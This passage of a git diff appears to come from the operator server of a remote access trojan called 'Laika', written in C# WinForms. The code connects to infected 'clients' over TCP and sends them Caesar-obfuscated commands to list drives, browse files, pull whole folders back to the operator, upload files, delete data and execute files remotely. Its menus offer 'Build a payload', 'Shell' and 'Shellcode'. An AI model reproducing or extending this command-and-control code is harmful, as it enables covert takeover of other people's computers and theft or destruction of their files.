this.deleteToolStripMenuItem.Text = "Delete";
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
//
// executeToolStripMenuItem
//
this.executeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
this.executeToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.executeToolStripMenuItem.Text = "Execute";
this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
//
// button1
//
this.button1.BackgroundImage = global::Server.Properties.Resources.refresh;
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button1.Location = new System.Drawing.Point(761, 10);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(30, 27);
this.button1.TabIndex = 5;
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// FileExplorer
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(800, 450);
this.Controls.Add(this.button1);
this.Controls.Add(this.dataGridView2);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Controls.Add(this.comboBox1);
this.MaximumSize = new System.Drawing.Size(816, 489);
this.MinimumSize = new System.Drawing.Size(816, 489);
this.Name = "FileExplorer";
this.Text = "FileExplorer";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FileExplorer_FormClosing);
this.Load += new System.EventHandler(this.FileExplorer_Load);
((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit();
this.contextMenuStrip1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.ComboBox comboBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.DataGridView dataGridView2;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
private System.Windows.Forms.DataGridViewTextBoxColumn FileName;
}
}

469
Server/FileExplorer.cs Normal file
View File

@@ -0,0 +1,469 @@
using System;
using System.IO;
using System.Threading;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using static System.Net.Mime.MediaTypeNames;
using System.Runtime.InteropServices.ComTypes;
namespace Server
{
public partial class FileExplorer : Form
{
public FileExplorer()
{
InitializeComponent();
}
public static int ITEM_ID = 0;
public static int CLIENT_ID = 0;
public static string PATH = "";
public static bool OPENED = false;
private void GetFileList()
{
dataGridView2.Rows.Clear();
CLIENT_ID = Server.Menu.CLIENT_ID;
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
return;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
string receivedData = "";
try
{
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH));
stream.Write(Message, 0, Message.Length);
byte[] buffer = new byte[256 * 4096];
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "")
return;
receivedData = Utils.CAESAR_DECRYPT(receivedData);
string[] files = receivedData.Split('/');
int idx = dataGridView2.Rows.Add("");
dataGridView2.Rows[idx].Tag = "../.";
foreach (string f in files)
{
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + f));
stream.Write(Message, 0, Message.Length);
buffer = new byte[1];
bytesRead = stream.Read(buffer, 0, buffer.Length);
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "")
return;
idx = dataGridView2.Rows.Add("");
dataGridView2.Rows[idx].Tag = f;
if (receivedData == "d")
{
dataGridView2.Rows[idx].Tag += "/d";
}
else
{
dataGridView2.Rows[idx].Tag += "/f";
}
}
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
return;
}
dataGridView2.ClearSelection();
dataGridView2.Update();
}
private void FileExplorer_Load(object sender, EventArgs e)
{
OPENED = true;
CLIENT_ID = Server.Menu.CLIENT_ID;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
string receivedData = "";
try
{
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_drives"));
stream.Write(Message, 0, Message.Length);
byte[] buffer = new byte[256];
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
OPENED = false;
return;
}
foreach (char l in receivedData)
{
comboBox1.Items.Add(l);
}
comboBox1.SelectedIndex = 0;
PATH = comboBox1.Text + ":/";
textBox1.Text = PATH;
dataGridView2.ClearSelection();
GetFileList();
}
private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
{
if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
{
dataGridView2.CurrentCell = dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex];
ITEM_ID = dataGridView2.CurrentRow.Index;
contextMenuStrip1.Show(Cursor.Position);
}
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
PATH = comboBox1.Text + ":/";
textBox1.Text = PATH;
GetFileList();
}
private void button1_Click(object sender, EventArgs e)
{
GetFileList();
}
private void dataGridView2_CellDoubleClick(object sender, DataGridViewCellEventArgs e)
{
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
if (file == ".." && PATH.Length != 3)
{
PATH = PATH.Remove(PATH.LastIndexOf('/', PATH.Length - 2) + 1);
}
else if (type != "d")
return;
else if (file != "..")
{
PATH += file + "/";
}
textBox1.Text = PATH;
GetFileList();
}
private void executeToolStripMenuItem_Click(object sender, EventArgs e)
{
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
try
{
CLIENT_ID = Server.Menu.CLIENT_ID;
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
return;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("execute"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
CLIENT_ID = -1;
OPENED = false;
return;
}
}
private void dataGridView2_CellPainting(object sender, DataGridViewCellPaintingEventArgs e)
{
if (e.ColumnIndex == 0 && e.RowIndex >= 0)
{
e.Paint(e.CellBounds, DataGridViewPaintParts.All);
string tmp = dataGridView2.Rows[e.RowIndex].Tag?.ToString();
if (tmp == null)
return;
string type = tmp.Split('/').Last();
var isDirectory = type == "d";
var icon = isDirectory ? Properties.Resources.folder : Properties.Resources.file;
if (type == ".")
icon = Properties.Resources.up_arrow;
int iconWidth = 16;
int iconHeight = 16;
int iconX = e.CellBounds.Left + 3;
int iconY = e.CellBounds.Top + (e.CellBounds.Height - iconHeight) / 2;
e.Graphics.DrawImage(icon, new Rectangle(iconX, iconY, iconWidth, iconHeight));
var text = tmp.Split('/').First();
var textX = iconX + iconWidth + 5;
var textY = e.CellBounds.Top + (e.CellBounds.Height - e.CellStyle.Font.Height) / 2;
e.Graphics.DrawString(text, e.CellStyle.Font, Brushes.Black, textX, textY);
e.Handled = true;
}
}
private void textBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
e.SuppressKeyPress = true; // Prevent the beep sound on Enter key
PATH = textBox1.Text;
if (PATH.Last() != '/')
PATH += '/';
textBox1.Text = PATH;
textBox1.SelectionStart = textBox1.TextLength;
GetFileList();
e.Handled = true;
}
}
private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
{
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
executeToolStripMenuItem.Visible = type != "d";
}
private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
{
OPENED = false;
}
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
{
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
try
{
CLIENT_ID = Server.Menu.CLIENT_ID;
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
return;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
NetworkStream stream = c.GetStream();
byte[] Message = new byte[20];
if (type == "d")
{
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_dir"));
} else
{
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_file"));
}
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
CLIENT_ID = -1;
OPENED = false;
return;
}
}
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Title = "Select your file"
};
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = openFileDialog.FileName;
string fileNameWithExtension = Path.GetFileName(filePath);
try
{
CLIENT_ID = Server.Menu.CLIENT_ID;
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
return;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("upload_file"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + fileNameWithExtension));
stream.Write(Message, 0, Message.Length);
byte[] fileContent = File.ReadAllBytes(filePath);
stream.Write(fileContent, 0, fileContent.Length);
c.Client.Blocking = false;
}
catch
{
CLIENT_ID = -1;
OPENED = false;
return;
}
}
private void DownloadFile(string file, NetworkStream stream, TcpClient c)
{
Thread.Sleep(100);
Shell.ClearSocketData(c);
byte[] Message = new byte[4096];
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("download_file"));
stream.Write(Message, 0, Message.Length);
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
if (!Directory.Exists(foldername))
Directory.CreateDirectory(foldername);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(file));
stream.Write(Message, 0, Message.Length);
byte[] delimiter = Encoding.UTF8.GetBytes("<Laika:EOF>");
int delimiterLength = delimiter.Length;
List<byte> receivedBytes = new List<byte>();
byte[] buffer = new byte[4096];
int bytesRead;
using (FileStream fileStream = new FileStream(foldername + "/" + file.Replace(PATH, ""), FileMode.Create, FileAccess.Write))
{
while (true)
{
bytesRead = stream.Read(buffer, 0, buffer.Length);
if (bytesRead == 0)
{
break;
}
receivedBytes.AddRange(buffer.Take(bytesRead));
while (receivedBytes.Count >= delimiterLength)
{
int endIndex = receivedBytes.Count - delimiterLength;
if (receivedBytes.Skip(endIndex).Take(delimiterLength).SequenceEqual(delimiter))
{
fileStream.Write(receivedBytes.ToArray(), 0, endIndex);
return;
}
else
{
fileStream.WriteByte(receivedBytes[0]);
receivedBytes.RemoveAt(0);
}
}
}
if (receivedBytes.Count > 0)
{
fileStream.Write(receivedBytes.ToArray(), 0, receivedBytes.Count);
}
}
}
private void DownloadFolder(string folder, string path, NetworkStream stream, TcpClient c)
{
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/"));
stream.Write(Message, 0, Message.Length);
byte[] buffer = new byte[256 * 4096];
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "")
return;
receivedData = Utils.CAESAR_DECRYPT(receivedData);
foreach (string e in receivedData.Split('/'))
{
Thread.Sleep(100);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/" + e));
stream.Write(Message, 0, Message.Length);
bytesRead = stream.Read(buffer, 0, buffer.Length);
string infos = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (infos.Split('/')[0] == "f")
{
DownloadFile(folder + "/" + e, stream, c);
continue;
} else
{
DownloadFolder(folder + "/" + e, path + "/" + e, stream, c);
}
}
}
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
{
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
try
{
CLIENT_ID = Server.Menu.CLIENT_ID;
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
return;
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
NetworkStream stream = c.GetStream();
if (type == "d")
{
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
if (!Directory.Exists(foldername))
Directory.CreateDirectory(foldername);
DownloadFolder(PATH + file, foldername + "/" + file, stream, c);
}
else
{
DownloadFile(PATH + file, stream, c);
}
c.Client.Blocking = false;
}
catch
{
CLIENT_ID = -1;
OPENED = false;
return;
}
}
}
}

123
Server/FileExplorer.resx Normal file
View File

@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

View File

@@ -1,193 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>Laika - File Explorer</title>
<meta charset="UTF-8">
</head>
<body>
<link rel="stylesheet" href="https://cdn.datatables.net/1.11.3/css/dataTables.bootstrap5.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.datatables.net/1.11.3/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.11.3/js/dataTables.bootstrap5.min.js"></script>
<link rel="stylesheet" href="style.css">
<div class="header">
<a href="/">
<a href="./index.html"><img alt="Spike" src="images/spike.jpg" id="spike"></a>
</a>
<div class="menu">
<h1 id="titre">Là où finit l'État, commence l'arc-en-ciel</h1>
</div>
</div>
<br><br><br>
<table id="explorer"
class="table table-striped table-bordered"
style="width:100%"
data-pagination="false"
data-show-pagination-switch="false">
<thead>
<tr>
<th data-sortable="false" data-width="20" data-checkbox="true"></th>
<th data-sortable="false">Nom</th>
<th data-sortable="false" data-width="150">Modifié le</th>
<th data-sortable="true" data-width="50">Taille</th>
</tr>
</thead>
</table>
<script>
$(document).ready(function() {
var table = $('#explorer').DataTable({
"bPaginate": false,
"bLengthChange": false,
"bFilter": false,
"bInfo": false,
"bAutoWidth": false,
"ajax": {
"url": "/get_data",
"type": "POST",
"contentType": "application/json",
"data": function(d) {
return JSON.stringify(d);
},
"dataSrc": function(json) {
return json.data;
}
},
"columns": [{
"data": null,
"render": function(data, type, full, meta) {
if (data.url.includes("img")) {
return '<input type="checkbox" name="checkbox[]" class="checkbox_style" value="false">';
} else {
return '';
}
},
"createdCell": function(cell, cellData, rowData, rowIndex, colIndex) {
if (colIndex === 0) { // Only add the click event listener to the checkbox cell
$(cell).find('input[type="checkbox"]').on('click', function(event) {
event.stopPropagation();
});
}
}
},
{
"data": "url",
"render": function(data, type, full, meta) {
return '<i class="fas fa-folder mr-3"></i>' + data;
}
},
{
"data": "modified"
},
{
"data": "size"
}
],
"order": [
[1, "asc"]
], //column indexes is zero based
"createdRow": function(row, data, dataIndex) {
$(row).addClass('d-flex align-items-center');
}
});
// Add the checkbox in the top left corner of the table
var th = $('#explorer').find('thead th').eq(0);
th.html('<input type="checkbox" id="select-all-checkbox" class="sorting_disabled checkbox_style" value="false">');
// Add click event listener to select all checkbox
$('#select-all-checkbox').on('click', function() {
$('input[type="checkbox"]').prop('checked', $(this).prop('checked'));
});
// Add click event listener to table rows
$('#explorer tbody').on('click', 'tr', function() {
// fetch data from the server and update the table
// Get the clicked element's text
var clickedText = $('#explorer').DataTable().cell(this, 0).data().url;
// Send an AJAX request to the Flask app to retrieve the updated data
$.ajax({
type: 'POST',
url: '/get_data',
contentType: "text/plain",
data: {
folder_path: clickedText
},
success: function(data) {
// Update the data table with the new data
$('#explorer').DataTable().clear();
$('#explorer').DataTable().rows.add(data.data);
$('#explorer').DataTable().draw();
},
error: function(xhr, status, error) {
console.error('Error retrieving data: ' + error);
}
});
});
// Add buttons to the table
$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button><button id="execute-button">Execute</button></div>');
function get_checked_rows() {
var checkboxes = document.querySelectorAll('input[type="checkbox"]');
var urlColumn = table.column(1);
const re = [];
for (let i = 1; i < checkboxes.length; i++) {
let checked = checkboxes[i].checked;
if (checked) {
re.push(urlColumn.data()[i]);
}
}
return re;
}
// function to send data to the server
function send_from_button(action) {
var to_send = [];
to_send.push(action);
if (action != "upload") {
to_send = to_send.concat(get_checked_rows());
}
if (to_send.length > 1 || action == "upload") {
console.log(to_send);
// Send an AJAX request to the Flask app to retrieve the updated data
$.ajax({
type: 'POST',
url: '/interact',
contentType: "application/json",
data: JSON.stringify({ to_send })
});
}
}
// Add event listener to the download button
$('#download-button').on('click', function() {
send_from_button("download");
});
$('#upload-button').on('click', function() {
send_from_button("upload");
});
// Add event listener to the remove button
$('#remove-button').on('click', function() {
send_from_button("remove");
});
$('#execute-button').on('click', function() {
send_from_button("execute");
});
});
</script>
</body>
</html>

View File

@@ -1,109 +0,0 @@
#spike {
float: left;
border-style:solid;
border-color:#0004ff;
border-width: 1px;
width: 8%;
height: auto;
}
/* unvisited link */
a:link {
color: #FFFFFF;
}
/* visited link */
a:visited {
color: #FFFFFF;
}
/* mouse over link */
a:hover {
color: #5660f1;
}
/* selected link */
a:active {
color: #686bff;
}
.header {
width: auto;
height: auto;
overflow:auto;
background-color: rgba(18,24,217,0.5);
top: 0;
left:0px;
right:0px;
}
.menu {
font-weight: bold;
float: left;
margin-top: 5.2%;
margin-left: 0.5%;
}
body {
background: url(../images/bg.gif) repeat 0 0;
color: white;
}
p {
font-size: large;
margin-left: 3px;
margin-bottom: -5px;
}
a {
overflow: hidden;
font-size: 150%;
}
#titre {
position: relative;
left: 75%;
top: -20px;
margin-top: -7%;
}
td, th {
border: 1px solid #dddddd;
text-align: left;
padding: 8px;
}
th {
text-align: center;
}
td:nth-child(2) { /* targets the first column */
margin-left: 20%;
cursor: default;
}
td:nth-child(2):hover {
color: #5660f1;
}
td:nth-child(3) { /* targets the second column */
text-align: center;
}
td:nth-child(4) { /* targets the third column */
text-align: right;
}
#folder {
width: 2%;
height: auto;
}
.centered {
position: relative;
top: -7px;
}
.checkbox_style {
transform: scale(1.5);
}

234
Server/Menu.Designer.cs generated Normal file
View File

@@ -0,0 +1,234 @@
namespace Server
{
partial class Menu
{
/// <summary>
/// Variable nécessaire au concepteur.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Nettoyage des ressources utilisées.
/// </summary>
/// <param name="disposing">true si les ressources managées doivent être supprimées ; sinon, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Code généré par le Concepteur Windows Form
/// <summary>
/// Méthode requise pour la prise en charge du concepteur - ne modifiez pas
/// le contenu de cette méthode avec l'éditeur de code.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.payloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.buildAPayloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dataGridView1 = new System.Windows.Forms.DataGridView();
this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.menuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
this.contextMenuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu;
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripMenuItem1,
this.payloadToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(591, 24);
this.menuStrip1.TabIndex = 0;
this.menuStrip1.Text = "menuStrip1";
//
// toolStripMenuItem1
//
this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.exitToolStripMenuItem});
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(37, 20);
this.toolStripMenuItem1.Text = "File";
this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
//
// exitToolStripMenuItem
//
this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
this.exitToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
this.exitToolStripMenuItem.Text = "Exit";
this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click);
//
// payloadToolStripMenuItem
//
this.payloadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.buildAPayloadToolStripMenuItem});
this.payloadToolStripMenuItem.Name = "payloadToolStripMenuItem";
this.payloadToolStripMenuItem.Size = new System.Drawing.Size(61, 20);
this.payloadToolStripMenuItem.Text = "Payload";
//
// buildAPayloadToolStripMenuItem
//
this.buildAPayloadToolStripMenuItem.Name = "buildAPayloadToolStripMenuItem";
this.buildAPayloadToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.buildAPayloadToolStripMenuItem.Text = "Build a payload";
this.buildAPayloadToolStripMenuItem.Click += new System.EventHandler(this.BuildPayloadToolStripMenuItem_Click);
//
// dataGridView1
//
this.dataGridView1.AllowUserToAddRows = false;
this.dataGridView1.AllowUserToDeleteRows = false;
this.dataGridView1.AllowUserToResizeRows = false;
this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText;
this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control;
